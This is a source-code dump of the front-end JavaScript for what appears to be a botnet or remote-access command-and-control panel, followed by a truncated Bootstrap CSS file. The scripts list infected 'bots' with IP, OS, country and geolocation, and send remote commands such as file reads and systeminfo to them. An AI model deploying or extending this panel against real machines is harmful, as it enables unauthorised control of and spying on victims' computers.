                if (resp['resp'].length !== 0) {
                    msg = resp['resp'];
                } else {
                    msg = 'Bot is not connected';
                }

                if (!Terminal.isSSH) {
                    this.stopExe(cmd, msg);
                } else {
                    this.stopExe('', '');
                }

                if (resp['resp'].length === 0) {
                    disableConsole();
                    updateStatus();
                }
            })
            .fail(() => {
                this.stopExe(cmd, 'Failed to contact server');
            });
    }
}


================================================
FILE: static/js/console.js
================================================
'use strict';

const UP_CODE = 38;
const DOWN_CODE = 40;
const ENTER_CODE = 13;

$(document).ready(function () {
    setServerStatusInactive();
});

$('.console-display').mouseup(() => {
    if (getSelectedText().length === 0) {
        $('#console-input').focus();
    }
});

function getSelectedText() {
    if (window.getSelection) {
        return window.getSelection().toString();
    } else if (document.selection) {
        return document.selection.createRange().text;
    }
    return '';
}

$('#console-input').keydown((e) => {
    if (terminalObj === null || terminalObj.processingCommand) {
        return;
    }

    let consoleHistory = terminalObj.consoleHistory;

    let keyCode = e.keyCode;
    let consoleInput = $('#console-input');

    if (keyCode === UP_CODE || keyCode === DOWN_CODE || keyCode == ENTER_CODE) {
        e.preventDefault();
    }

    if (e.keyCode === UP_CODE) {
        // Up

        if (terminalObj.currentPosition > 0) {
            terminalObj.currentPosition -= 1;
            consoleInput.val(consoleHistory[terminalObj.currentPosition]);
        }
    } else if (e.keyCode === DOWN_CODE) {
        // Down

        if (terminalObj.currentPosition < consoleHistory.length) {
            terminalObj.currentPosition += 1;
            consoleInput.val(consoleHistory[terminalObj.currentPosition]);
        }
    } else if (e.keyCode === ENTER_CODE) {
        let currentValue = consoleInput.val();

        if (currentValue.trim().length == 0) {
            return;
        }

        updateHistory(currentValue);
        execute(currentValue);
    }
});

$('#console-input').keyup(() => {
    terminalObj.currentInput = $('#console-input').val();
});

function execute(cmd) {
    if (cmd.toLowerCase() === 'cls') {
        $('#console-output').text('');
        $('#console-input').val('');
        terminalObj.scroll();
        return;
    }

    terminalObj.execute(cmd);
    terminalObj.currentInput = '';
}

function updateHistory(currentValue) {
    let historySize = terminalObj.consoleHistory.length;

    if (historySize >= MAX_HISTORY_SIZE) {
        historySize = historySize - 1;
    }

    if (historySize === 0) {
        terminalObj.addtoConsoleHistory(currentValue);
        historySize += 1;
    } else if (historySize !== 0) {
        if (terminalObj.consoleHistory[terminalObj.consoleHistory.length - 1] !== currentValue) {
            terminalObj.addtoConsoleHistory(currentValue);
            historySize += 1;
        }
    }

    terminalObj.currentPosition = historySize;
}


================================================
FILE: static/js/exception.js
================================================
'use strict';

class Exception {
    static get NotImplemented() {
        return 'NotImplementedError';
    }
}


================================================
FILE: static/js/home.js
================================================
'use strict';

const botsFetchInterval = 10; // seconds

let isFetchingBots = false;
let isServerActive = false;
let isProcessingBot = false;
let isTogglingServer = false;

let botsSignature = null;
let terminalObj = null;

$(document).ready(function () {
    updateStatus();
    setInterval(updateStatus, botsFetchInterval * 1000);
});

// Server

function updateStatus() {
    getServerStatus()
        .done((resp) => {
            isServerActive = resp['isActive'];

            if (isServerActive) {
                $('#server-ip-display').text(resp['ip']);
                $('#server-port-display').text(resp['port']);

                $('#server-ip').val(resp['ip']);
                $('#server-port').val(resp['port']);

                setServerStatusActive();
            } else {
                if ($('#server-ip-display').text() !== '----') {
                    $('#server-ip-display').text('----');
                    $('#server-port-display').text('----');
                    setServerStatusInactive();
                }
            }

            if (isTogglingServer) {
                isTogglingServer = false;
                $('#server-toggle-loader').addClass('d-none');
                $('#server-active-toggle').removeClass('d-none');
            }

            fetchBots();
        })
        .fail(() => {
            location.reload();
        });
}

function getServerStatus() {
    return $.ajax({
        type: 'GET',
        url: '/server-status',
        beforeSend: (request) => {
            request.setRequestHeader('X-CSRFToken', $('#csrf_token').val());
        },
    });
}

function setServerStatusActive() {
    $('#server-active-toggle').text('Stop Server');
    $('#server-active-toggle').addClass('btn-danger');
    $('#server-active-toggle').removeClass('btn-primary');

    $('#server-ip').prop('disabled', true);
    $('#server-port').prop('disabled', true);
}

function setServerStatusInactive() {
    $('#server-active-toggle').text('Start Server');
    $('#server-active-toggle').addClass('btn-primary');
    $('#server-active-toggle').removeClass('btn-danger');

    $('#server-ip').prop('disabled', false);
    $('#server-port').prop('disabled', false);

    disableConsole();
    $('#bots-display').text('');
}

$('#server-active-toggle').click(() => {
    if (isTogglingServer) {
        return;
    }

    isTogglingServer = true;
    let url = isServerActive ? '/stop-server' : '/start-server';
    let data = !isServerActive ? { ip: $('#server-ip').val(), port: $('#server-port').val() } : {};

    if (
        !isServerActive &&
        ($('#server-ip').val().trim().length === 0 || $('#server-port').val().trim().length === 0)
    ) {
        return;
    }

    $('#server-toggle-loader').removeClass('d-none');
    $('#server-active-toggle').addClass('d-none');

    $.ajax({
        type: 'POST',
        url: url,
        data: data,
        beforeSend: (request) => {
            request.setRequestHeader('X-CSRFToken', $('#csrf_token').val());
        },
    })
        .done((resp) => {
            updateStatus();
        })
        .fail(() => {
            isTogglingServer = false;
            $('#server-toggle-loader').addClass('d-none');
            $('#server-active-toggle').removeClass('d-none');
        });
});

// Bots

function fetchBots() {
    if (isFetchingBots) {
        return;
    }

    $.ajax({
        type: 'GET',
        url: '/fetch-bots',
        beforeSend: (request) => {
            request.setRequestHeader('X-CSRFToken', $('#csrf_token').val());
        },
    })
        .done((resp) => {
            $('#bots-count').text(isServerActive ? resp['bots'].length : '----');

            if (botsSignature === null || botsSignature !== resp['signature']) {
                botsSignature = resp['signature'];
                $('#bots-display').text('');
                processBots(resp['bots']);
            }

            isFetchingBots = false;
        })
        .fail(() => {
            isFetchingBots = false;
        });
}

function processBots(bots) {
    let tableRow;

    if (bots == undefined) {
        location.reload();
    }

    bots.forEach((bot) => {
        tableRow = $('<tr>');

        tableRow.append(
            $('<td>', { 'data-bot-id': bot['id'], class: 'clickable' })
                .text(bot['id'].slice(0, 8))
                .click((e) => {
                    exploreBot(e.currentTarget.getAttribute('data-bot-id'));
                })
        );

        tableRow.append($('<td>').text(bot['ip']));
        tableRow.append($('<td>').text(bot['os']));
        tableRow.append($('<td>').text(bot['country']));

        $('#bots-display').append(tableRow);
    });
}

function exploreBot(botId) {
    if (isProcessingBot) {
        return;
    }

    isProcessingBot = true;

    $.ajax({
        type: 'POST',
        url: '/get-bot-info',
        data: { 'bot-id': botId },
        beforeSend: (request) => {
            request.setRequestHeader('X-CSRFToken', $('#csrf_token').val());
        },
    })
        .done((resp) => {
            $('#info-display').text('');

            if (resp['status'] === 0) {
                let data = resp['data'];

                let sysInfo = $('<div>', { class: 'info-section' });
                let netInfo = $('<div>', { class: 'info-section' });
                let geoInfo = $('<div>', { class: 'info-section' });

                sysInfo.append($('<span>', { class: 'info-section-title' }).text('System'));
                netInfo.append($('<span>', { class: 'info-section-title' }).text('Network'));
                geoInfo.append($('<span>', { class: 'info-section-title' }).text('Geolocation'));

                // System
                sysInfo.append(
                    $('<span>', { class: 'info-row' })
                        .append($('<span>', { class: 'info-row-title' }).text('ID'))
                        .append($('<span>', { class: 'info-row-value' }).text(botId.slice(0, 8)))
                );

                for (let k in data['system']) {
                    sysInfo.append(
                        $('<span>', { class: 'info-row' })
                            .append($('<span>', { class: 'info-row-title' }).text(k))
                            .append($('<span>', { class: 'info-row-value' }).text(data['system'][k]))
                    );
                }

                // Network
                for (let k in data['network']) {
                    netInfo.append(
                        $('<span>', { class: 'info-row' })
                            .append($('<span>', { class: 'info-row-title' }).text(k))
                            .append($('<span>', { class: 'info-row-value' }).text(data['network'][k]))
                    );
                }

                // Geolocation
                for (let k in data['geolocation']) {
                    geoInfo.append(
                        $('<span>', { class: 'info-row' })
                            .append($('<span>', { class: 'info-row-title' }).text(k))
                            .append($('<span>', { class: 'info-row-value' }).text(data['geolocation'][k]))
                    );
                }

                $('#info-display').append(sysInfo).append(netInfo).append(geoInfo);

                restTerminal();
                terminalObj = new Command();
                activateCommand($('#command')[0]);
            }

            isProcessingBot = false;
        })
        .fail(() => {
            isProcessingBot = false;
            disableInput();
            disabledTerminalObj();
        });
}

function restTerminal() {
    Terminal.commandOutputHistory = [];
    Terminal.SSHOutputHistory = [];

    Terminal.commandConsoleHistory = [];
    Terminal.commandCurrentPosition = 0;

    Terminal.SSHConsoleHistory = [];
    Terminal.SSHCurrentPosition = 0;

    Terminal.commandCurrentInput = '';
    Terminal.SSHCurrenInput = '';
}

$('#command').click((e) => {
    activateCommand(e.currentTarget);
});

$('#ssh').click((e) => {
    activateSSH(e.currentTarget);
});

function activateCommand(currentTab) {
    if (activateTab(currentTab) !== 0) {
        return;
    }

    if (terminalObj.constructor !== new Command().constructor) {
        terminalObj = new Command();
    }
}

function activateSSH(currentTab) {
    if (activateTab(currentTab) !== 0) {
        return;
    }

    if (terminalObj.constructor !== new SSH().constructor) {
        terminalObj = new SSH();
    }
}

function activateTab(currentTab) {
    if (terminalObj === null || isActiveTab(currentTab)) {
        return -1;
    }

    return activeTab(currentTab);
}

function activeTab(currentTab) {
    $(currentTab).addClass('active-tab');

    $('.console ul.nav li').each((_, ele) => {
        if (ele !== currentTab) {
            $(ele).removeClass('active-tab');
        }
    });

    return 0;
}

function isActiveTab(currentTab) {
    return $(currentTab).hasClass('active-tab');
}


================================================
FILE: static/js/index.js
================================================
'use strict';

$('#form').submit(e => {
    e.preventDefault();

    let username = $('#username').val();
    let password = $('#password').val();

    if (username.length == 0 || password.length == 0) {
        return;
    }

    $.ajax({
        type: 'POST',
        url: '/login',
        data: { username: username, password: password },
        beforeSend: request => {
            request.setRequestHeader('X-CSRFToken', $('#csrf_token').val());
        }
    })
        .done(resp => {
            if (!resp['is_authenticated']) {
                $('#password').val('');
                displayErrorMsg(resp['msg']);
            } else {
                window.location.href = '/';
            }
        })
        .fail(() => {
            window.location.href = '/';
        });
});

function displayErrorMsg(msg) {
    let alert = $('<div class="alert alert-danger alert-dismissible fade show" role="alert"></div>');
    let btn = $(
        '<button type="button" class="close" data-dismiss="alert" aria-label="Close"></button>'
    ).append('<span aria-hidden="true">&times;</span>');

    alert.append('<strong>Error:</strong> ' + msg).append(btn);

    let alertContainer = $('#alert-container');

    alertContainer.empty();
    alertContainer.append(alert);
}


================================================
FILE: static/js/settings.js
================================================
'use strict';

const MIN_USERNAME_LENGTH = 4;
const MAX_USERNAME_LENGTH = 16;

const MIN_PASSWORD_LENGTH = 12;
const MAX_PASSWORD_LENGTH = 256;

let isProcessing = false;

function isValidUsername(username) {
    username = username.trim();
    let resp = { status: 0, msg: '' };

    if (username.length === 0) {
        return resp;
    }

    if (username.length < MIN_USERNAME_LENGTH) {
        resp['msg'] = 'Username must contain at least ' + MIN_USERNAME_LENGTH + ' characters';
        return resp;
    } else if (username.length > MAX_USERNAME_LENGTH) {
        resp['msg'] = 'Username must contain at most ' + MAX_USERNAME_LENGTH + ' characters';
        return resp;
    }

    if (username.match(/\W/i)) {
        resp['msg'] = 'Username must not contain a special or space character';
        return resp;
    }

    resp['status'] = 1;
    return resp;
}

function isValidPassword(password) {
    let _password = password;
    password = password.trim();

    let resp = { status: 0, msg: '' };

    if (password.length === 0) {
        return resp;
    }

    // Length

    if (password.length < MIN_PASSWORD_LENGTH) {
        resp['msg'] = 'Password must contain at least ' + MIN_PASSWORD_LENGTH + ' characters';
        return resp;
    } else if (password.length > MAX_PASSWORD_LENGTH) {
        resp['msg'] = 'Password must contain at most ' + MAX_PASSWORD_LENGTH + ' characters';
        return resp;
    }

    // Diversity
    if (password.match(/^\d+\d$/gm)) {
        resp['msg'] = 'Password must not only consist of numbers';
        return resp;
    }

    if (!password.match(/\d/gm)) {
        resp['msg'] = 'Password must contain a digit';
        return resp;
    }

    if (!password.match(/\w/)) {
        resp['msg'] = 'Password must contain a letter';
        return resp;
    }

    // Spaces
    if (_password.match(/^\s|\s$/gm)) {
        resp['msg'] = 'Password must not start or end with a space';
        return resp;
    }

    if (!password.match(/\s/gm)) {
        resp['msg'] = 'Password must contain a space';
        return resp;
    }

    if (password.match(/\s{2,}/gm)) {
        resp['msg'] = 'Password must not have consecutive space';
        return resp;
    }

    resp['status'] = 1;
    return resp;
}

function setInvalid(field, feedback) {
    field.removeClass('is-valid');
    feedback.removeClass('valid-feedback');

    field.addClass('is-invalid');
    feedback.addClass('invalid-feedback');
}

function setValid(field, feedback) {
    field.removeClass('is-invalid');
    feedback.removeClass('invalid-feedback');

    field.addClass('is-valid');
    feedback.addClass('valid-feedback');
}

function setClear(field, feedback) {
    field.removeClass('is-invalid');
    field.removeClass('is-valid');

    feedback.removeClass('invalid-feedback');
    feedback.removeClass('valid-feedback');

    feedback.text('');
}

$('#new-username').keyup(() => {
    let resp = isValidUsername($('#new-username').val());
    let feedback = $('#new-username-resp');
    let field = $('#new-username');

    if (resp['status'] === 0 && resp['msg'].length !== 0) {
        setInvalid(field, feedback);
        feedback.text(resp['msg']);
    } else if (resp['status'] === 0 && resp['msg'].length === 0) {
        setClear(field, feedback);
    }

    if (resp['status'] === 1) {
        setValid(field, feedback);
        feedback.text('');
    }
});

$('#new-password').keyup(() => {
    checkPassword();
    checkConfirmPassword();
});

$('#confirm-password').keyup(() => {
    checkConfirmPassword();
});

function checkPassword() {
    let resp = isValidPassword($('#new-password').val());
    let feedback = $('#new-password-resp');
    let field = $('#new-password');

    if (resp['status'] === 0 && resp['msg'].length !== 0) {
        setInvalid(field, feedback);
        feedback.text(resp['msg']);
    } else if (resp['status'] === 0 && resp['msg'].length === 0) {
        setClear(field, feedback);
    }

    if (resp['status'] === 1) {
        setValid(field, feedback);
        feedback.text('');
    }
}

function checkConfirmPassword() {
    let feedback = $('#confirm-password-resp');
    let field = $('#confirm-password');

    if ($('#new-password').val().length === 0 || field.val().length === 0) {
        setClear(field, feedback);
        return;
    }

    if ($('#new-password').val() !== field.val()) {
        setInvalid(field, feedback);
        feedback.text('Passwords do not match');
    } else {
        if ($('#new-password').val().length >= MIN_PASSWORD_LENGTH) {
            setValid(field, feedback);
            feedback.text('');
        }
    }
}

$('#btn-update-username-password').click(() => {
    let newUsername = $('#new-username');

    let currentPassword = $('#current-password');
    let newPassword = $('#new-password');
    let confirmPassword = $('#confirm-password');

    if (currentPassword.val().length === 0 && newUsername.val().length === 0) {
        return;
    }

    let newPasswordResp = isValidPassword(newPassword.val());
    let newUsernameResp = isValidUsername(newUsername.val());

    if (
        (newPasswordResp['status'] === 1 && newPassword.val() === $('#confirm-password').val()) ||
        newUsernameResp['status'] === 1
    ) {
        updateUsernamePassword();
    }
});

function updateUsernamePassword() {
    if (isProcessing) {
        return;
    } else {
        enableLoader();
        isProcessing = true;
    }

    $.ajax({
        type: 'POST',
        url: '/update-username-password',
        data: {
            newUsername: $('#new-username').val(),
            currentPassword: $('#current-password').val(),
            newPassword: $('#new-password').val(),
            confirmPassword: $('#confirm-password').val(),
        },
        beforeSend: (request) => {
            request.setRequestHeader('X-CSRFToken', $('#csrf_token').val());
        },
    })
        .done((resp) => {
            for (let i in resp) {
                if (resp[i]['status'] && resp[i]['msg']) {
                    setValid($('#' + i), $('#' + i + '-resp'));
                    $('#' + i + '-resp').text(resp[i]['msg']);
                }

                if (resp[i]['status'] === 0 && resp[i]['msg']) {
                    setInvalid($('#' + i), $('#' + i + '-resp'));
                    $('#' + i + '-resp').text(resp[i]['msg']);
                }
            }

            if (resp['new-username'].status === 1) {
                $('#new-username').attr('placeholder', $('#new-username').val());
                $('#new-username').val('');
            }

            if (resp['new-password'].status === 1) {
                $('#current-password').val('');
                $('#new-password').val('');
                $('#confirm-password').val('');

                setClear($('#current-password'), $('#current-password'));
            }

            disableLoader();
            setAccountStatus();
            isProcessing = false;
        })
        .fail(() => {
            disableLoader();
            isProcessing = false;
        });
}

function enableLoader() {
    $('#update-username-password-loader').removeClass('d-none');
    $('#update-username-password-loader').addClass('d-block');
    $('#btn-update-username-password').addClass('d-none');
}

function disableLoader() {
    $('#update-username-password-loader').addClass('d-none');
    $('#update-username-password-loader').removeClass('d-block');
    $('#btn-update-username-password').removeClass('d-none');
}

function setAccountStatus() {
    $.ajax({
        type: 'GET',
        url: '/get-account-status',
        beforeSend: (request) => {
            request.setRequestHeader('X-CSRFToken', $('#csrf_token').val());
        },
    }).done((resp) => {
        if (resp['msg']) {
            $('#notice').text(resp['msg']);
            $('#account-status-msg').removeClass('d-none');
        } else {
            $('#account-status-msg').addClass('d-none');
        }
    });
}


================================================
FILE: static/js/ssh.js
================================================
'use strict';

const SshEnum = { help: 'menu' };

class SSH extends Terminal {
    constructor() {
        Terminal.isSSH = true;
        super();
    }

    get mainMenu() {
        return (
            '<p>' +
            '<span>Type [command] + <kbd>Enter</kbd></span>' +
            '</p>' +
            '<ul style="list-style: none;">' +
            "<li>'menu' -- display this list</li>" +
            "<li>'cls' -- clear screeen</li>" +
            "<li>'help' -- display help</li>" +
            "<li>'type [filename]' -- read a file</li>" +
            "<li>'systeminfo' -- display system information</li>" +
            '</ul>'
        );
    }

    execute(cmd) {
        if (cmd.toLowerCase() === SshEnum.help) {
            this.stopExe(cmd, '');
            $('#console-output').append(terminalObj.mainMenu);
            this.scroll();
            return;
        }

        this.startExe();

        $.ajax({
            type: 'POST',
            url: '/control/ssh',
            data: { cmd: cmd },
            beforeSend: request => {
                request.setRequestHeader('X-CSRFToken', $('#csrf_token').val());
            }
        })
            .done(resp => {
                let msg;

                if (resp['resp'].length !== 0) {
                    msg = resp['resp'];
                } else {
                    msg = 'Bot is not connected';
                }

                if (Terminal.isSSH) {
                    this.stopExe(cmd, msg);
                } else {
                    this.stopExe('', '');
                }

                if (resp['resp'].length === 0) {
                    disableConsole();
                    updateStatus();
                }
            })
            .fail(() => {
                this.stopExe(cmd, 'Failed to contact server');
            });
    }
}


================================================
FILE: static/js/terminal.js
================================================
'use strict';

const MAX_OUTPUT_HISTORY_SIZE = 32;
const MAX_HISTORY_SIZE = 256;
const MAX_CHARS = 8192;

class Terminal {
    static isSSH = false;
    static commandOutputHistory = [];
    static SSHOutputHistory = [];

    static commandConsoleHistory = [];
    static SSHConsoleHistory = [];

    static commandCurrentPosition = 0;
    static SSHCurrentPosition = 0;

    static commandCurrentInput = '';
    static SSHCurrenInput = '';

    static isProcessing = false;

    constructor() {
        enableInput();
        enableTabs();

        $('#console-output').text('');

        if (this.consoleHistory.length === 0) {
            $('#console-output').append(this.mainMenu);
        } else {
            this.populateOutput();
        }

        $('#console-input').val(this.currentInput);
        $('#console-input').focus();
    }

    static addtoSSHHistory(input, output) {
        if (Terminal.SSHOutputHistory.length >= MAX_OUTPUT_HISTORY_SIZE) {
            Terminal.SSHOutputHistory.shift();
        }

        Terminal.SSHOutputHistory.push({ input: input, output: output.slice(0, MAX_CHARS) });
    }

    static addtoCommandHistory(input, output) {
        if (Terminal.commandOutputHistory.length >= MAX_OUTPUT_HISTORY_SIZE) {
            Terminal.commandOutputHistory.shift();
        }

        Terminal.commandOutputHistory.push({ input: input, output: output.slice(0, MAX_CHARS) });
    }

    get outputHistory() {
        return Terminal.isSSH ? Terminal.SSHOutputHistory : Terminal.commandOutputHistory;
    }

    get consoleHistory() {
        return Terminal.isSSH ? Terminal.SSHConsoleHistory : Terminal.commandConsoleHistory;
    }

    get currentPosition() {
        return Terminal.isSSH ? Terminal.SSHCurrentPosition : Terminal.commandCurrentPosition;
    }

    set currentPosition(value) {
        if (Terminal.isSSH) {
            Terminal.SSHCurrentPosition = value;
        } else {
            Terminal.commandCurrentPosition = value;
        }
    }

    get isProcessing() {
        return Terminal.isProcessing;
    }

    set isProcessing(value) {
        Terminal.isProcessing = value;
    }

    get currentInput() {
        return Terminal.isSSH ? Terminal.SSHCurrenInput : Terminal.commandCurrentInput;
    }

    set currentInput(value) {
        if (Terminal.isSSH) {
            Terminal.SSHCurrenInput = value;
        } else {
            Terminal.commandCurrentInput = value;
        }
    }

    populateOutput() {
        this.outputHistory.forEach((h) => {
            $('#console-output').append(h['output']);
        });

        this.scroll();
    }

    addtoConsoleHistory(input) {
        if (Terminal.isSSH) {
            if (Terminal.SSHConsoleHistory.length >= MAX_HISTORY_SIZE) {
                Terminal.SSHConsoleHistory.shift();
            }

            Terminal.SSHConsoleHistory.push(input);
        } else {
            if (Terminal.commandConsoleHistory.length >= MAX_HISTORY_SIZE) {
                Terminal.commandConsoleHistory.shift();
            }

            Terminal.commandConsoleHistory.push(input);
        }
    }

    get mainMenu() {
        throw Exception.NotImplemented;
    }

    execute(_cmd) {
        throw Exception.NotImplemented;
    }

    startExe() {
        if (!this.isProcessing) {
            this.isProcessing = true;
            disableInput();
        }
    }

    stopExe(input, output) {
        if (this.isProcessing) {
            enableInput();
            this.isProcessing = false;
        }

        $('#console-input').val('');

        if (input) {
            this.consoleOutput(input, output);
        }
    }

    constructOuput(input, ouput) {
        let p = $('<p>', { class: 'console-output-section' });

        p.append($('<span>', { class: 'console-output-input-cmd' }).text(input));
        p.append($('<span>', { class: 'console-output-output' }).text(ouput));

        return p;
    }

    consoleOutput(input, output) {
        let _output = output;
        output = this.constructOuput(input, output);

        if (_output.trim().length) {
            let histOutput = this.constructOuput(input, _output.slice(0, MAX_CHARS));

            if (Terminal.isSSH) {
                Terminal.addtoSSHHistory(input, histOutput);
            } else {
                Terminal.addtoCommandHistory(input, histOutput);
            }
        }

        $('#console-output').append(output);
        this.scroll();
    }

    scroll() {
        $('.console-display').scrollTop($('.console-display').prop('scrollHeight'));
    }
}

function disableInput() {
    let consoleInput = $('#console-input');
    consoleInput.prop('disabled', true);
    $('.console-input-container').addClass('disabled-console-input');
}

function enableInput() {
    let consoleInput = $('#console-input');
    consoleInput.prop('disabled', false);
    $('.console-input-container').removeClass('disabled-console-input');
    $('#console-input').focus();
}

function disableTabs() {
    $('.console ul.nav li').each((_, e) => {
        $(e).addClass('disabled-tab');
    });
}

function enableTabs() {
    $('.console ul.nav li').each((_, e) => {
        $(e).removeClass('disabled-tab');
    });
}

function disabledTerminalObj() {
    terminalObj = null;
}

function disableConsole() {
    disableInput();
    disableTabs();
    disabledTerminalObj();
}


================================================
FILE: static/vendor/bootstrap-4.4.1-dist/css/bootstrap-grid.css
================================================
/*!
 * Bootstrap Grid v4.4.1 (https://getbootstrap.com/)
 * Copyright 2011-2019 The Bootstrap Authors
 * Copyright 2011-2019 Twitter, Inc.
 * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
 */
html {
  box-sizing: border-box;
  -ms-overflow-style: scrollbar;
}

*,
*::before,
*::after {
  box-sizing: inherit;
}

.container {
  width: 100%;
  padding-right: 15px;
  padding-left: 15px;
  margin-right: auto;
  margin-left: auto;
}

@media (min-width: 576px) {
  .container {
    max-width: 540px;
  }
}

@media (min-width: 768px) {
  .container {
    max-width: 720px;
  }
}

@media (min-width: 992px) {
  .container {
    max-width: 960px;
  }
}

@media (min-width: 1200px) {
  .container {
    max-width: 1140px;
  }
}

.container-fluid, .container-sm, .container-md, .container-lg, .container-xl {
  width: 100%;
  padding-right: 15px;
  padding-left: 15px;
  margin-right: auto;
  margin-left: auto;
}

@media (min-width: 576px) {
  .container, .container-sm {
    max-width: 540px;
  }
}

@media (min-width: 768px) {
  .container, .container-sm, .container-md {
    max-width: 720px;
  }
}

@media (min-width: 992px) {
  .container, .container-sm, .container-md, .container-lg {
    max-width: 960px;
  }
}

@media (min-width: 1200px) {
  .container, .container-sm, .container-md, .container-lg, .container-xl {
    max-width: 1140px;
  }
}

.row {
  display: -ms-flexbox;
  display: flex;
  -ms-flex-wrap: wrap;
  flex-wrap: wrap;
  margin-right: -15px;
  margin-left: -15px;
}

.no-gutters {
  margin-right: 0;
  margin-left: 0;
}

.no-gutters > .col,
.no-gutters > [class*="col-"] {
  padding-right: 0;
  padding-left: 0;
}

.col-1, .col-2, .col-3, .col-4, .col-5, .col-6, .col-7, .col-8, .col-9, .col-10, .col-11, .col-12, .col,
.col-auto, .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm,
.col-sm-auto, .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12, .col-md,
.col-md-auto, .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg,
.col-lg-auto, .col-xl-1, .col-xl-2, .col-xl-3, .col-xl-4, .col-xl-5, .col-xl-6, .col-xl-7, .col-xl-8, .col-xl-9, .col-xl-10, .col-xl-11, .col-xl-12, .col-xl,
.col-xl-auto {
  position: relative;
  width: 100%;
  padding-right: 15px;
  padding-left: 15px;
}

.col {
  -ms-flex-preferred-size: 0;
  flex-basis: 0;
  -ms-flex-positive: 1;
  flex-grow: 1;
  max-width: 100%;
}

.row-cols-1 > * {
  -ms-flex: 0 0 100%;
  flex: 0 0 100%;
  max-width: 100%;
}

.row-cols-2 > * {
  -ms-flex: 0 0 50%;
  flex: 0 0 50%;
  max-width: 50%;
}

.row-cols-3 > * {
  -ms-flex: 0 0 33.333333%;
  flex: 0 0 33.333333%;
  max-width: 33.333333%;
}

.row-cols-4 > * {
  -ms-flex: 0 0 25%;
  flex: 0 0 25%;
  max-width: 25%;
}

.row-cols-5 > * {
  -ms-flex: 0 0 20%;
  flex: 0 0 20%;
  max-width: 20%;
}

.row-cols-6 > * {
  -ms-flex: 0 0 16.666667%;
  flex: 0 0 16.666667%;
  max-width: 16.666667%;
}

.col-auto {
  -ms-flex: 0 0 auto;
  flex: 0 0 auto;
  width: auto;
  max-width: 100%;
}

.col-1 {
  -ms-flex: 0 0 8.333333%;
  flex: 0 0 8.333333%;
  max-width: 8.333333%;
}

.col-2 {
  -ms-flex: 0 0 16.666667%;
  flex: 0 0 16.666667%;
  max-width: 16.666667%;
}

.col-3 {
  -ms-flex: 0 0 25%;
  flex: 0 0 25%;
  max-width: 25%;
}

.col-4 {
  -ms-flex: 0 0 33.333333%;
  flex: 0 0 33.333333%;
  max-width: 33.333333%;
}

.col-5 {
  -ms-flex: 0 0 41.666667%;
  flex: 0 0 41.666667%;
  max-width: 41.666667%;
}

.col-6 {
  -ms-flex: 0 0 50%;
  flex: 0 0 50%;
  max-width: 50%;
}

.col-7 {
  -ms-flex: 0 0 58.333333%;
  flex: 0 0 58.333333%;
  max-width: 58.333333%;
}

.col-8 {
  -ms-flex: 0 0 66.666667%;
  flex: 0 0 66.666667%;
  max-width: 66.666667%;
}

.col-9 {
  -ms-flex: 0 0 75%;
  flex: 0 0 75%;
  max-width: 75%;
}

.col-10 {
  -ms-flex: 0 0 83.333333%;
  flex: 0 0 83.333333%;
  max-width: 83.333333%;
}

.col-11 {
  -ms-flex: 0 0 91.666667%;
  flex: 0 0 91.666667%;
  max-width: 91.666667%;
}

.col-12 {
  -ms-flex: 0 0 100%;
  flex: 0 0 100%;
  max-width: 100%;
}

.order-first {
  -ms-flex-order: -1;
  order: -1;
}

.order-last {
  -ms-flex-order: 13;
  order: 13;
}

.order-0 {
  -ms-flex-order: 0;
  order: 0;
}

.order-1 {
  -ms-flex-order: 1;
  order: 1;
}

.order-2 {
  -ms-flex-order: 2;
  order: 2;
}

.order-3 {
  -ms-flex-order: 3;
  order: 3;
}

.order-4 {
  -ms-flex-order: 4;
  order: 4;
}

.order-5 {
  -ms-flex-order: 5;
  order: 5;
}

.order-6 {
  -ms-flex-order: 6;
  order: 6;
}

.order-7 {
  -ms-flex-order: 7;
  order: 7;
}

.order-8 {
  -ms-flex-order: 8;
  order: 8;
}

.order-9 {
  -ms-flex-order: 9;
  order: 9;
}

.order-10 {
  -ms-flex-order: 10;
  order: 10;
}

.order-11 {
  -ms-flex-order: 11;
  order: 11;
}

.order-12 {
  -ms-flex-order: 12;
  order: 12;
}

.offset-1 {
  margin-left: 8.333333%;
}

.offset-2 {
  margin-left: 16.666667%;
}

.offset-3 {
  margin-left: 25%;
}

.offset-4 {
  margin-left: 33.333333%;
}

.offset-5 {
  margin-left: 41.666667%;
}

.offset-6 {
  margin-left: 50%;
}

.offset-7 {
  margin-left: 58.333333%;
}

.offset-8 {
  margin-left: 66.666667%;
}

.offset-9 {
  margin-left: 75%;
}

.offset-10 {
  margin-left: 83.333333%;
}

.offset-11 {
  margin-left: 91.666667%;
}

@media (min-width: 576px) {
  .col-sm {
    -ms-flex-preferred-size: 0;
    flex-basis: 0;
    -ms-flex-positive: 1;
    flex-grow: 1;
    max-width: 100%;
  }
  .row-cols-sm-1 > * {
    -ms-flex: 0 0 100%;
    flex: 0 0 100%;
    max-width: 100%;
  }
  .row-cols-sm-2 > * {
    -ms-flex: 0 0 50%;
    flex: 0 0 50%;
    max-width: 50%;
  }
  .row-cols-sm-3 > * {
    -ms-flex: 0 0 33.333333%;
    flex: 0 0 33.333333%;
    max-width: 33.333333%;
  }
  .row-cols-sm-4 > * {
    -ms-flex: 0 0 25%;
    flex: 0 0 25%;
    max-width: 25%;
  }
  .row-cols-sm-5 > * {
    -ms-flex: 0 0 20%;
    flex: 0 0 20%;
    max-width: 20%;
  }
  .row-cols-sm-6 > * {
    -ms-flex: 0 0 16.666667%;
    flex: 0 0 16.666667%;
    max-width: 16.666667%;
  }
  .col-sm-auto {
    -ms-flex: 0 0 auto;
    flex: 0 0 auto;
    width: auto;
    max-width: 100%;
  }
  .col-sm-1 {
    -ms-flex: 0 0 8.333333%;
    flex: 0 0 8.333333%;
    max-width: 8.333333%;
  }
  .col-sm-2 {
    -ms-flex: 0 0 16.666667%;
    flex: 0 0 16.666667%;
    max-width: 16.666667%;
  }
  .col-sm-3 {
    -ms-flex: 0 0 25%;
    flex: 0 0 25%;
    max-width: 25%;
  }
  .col-sm-4 {
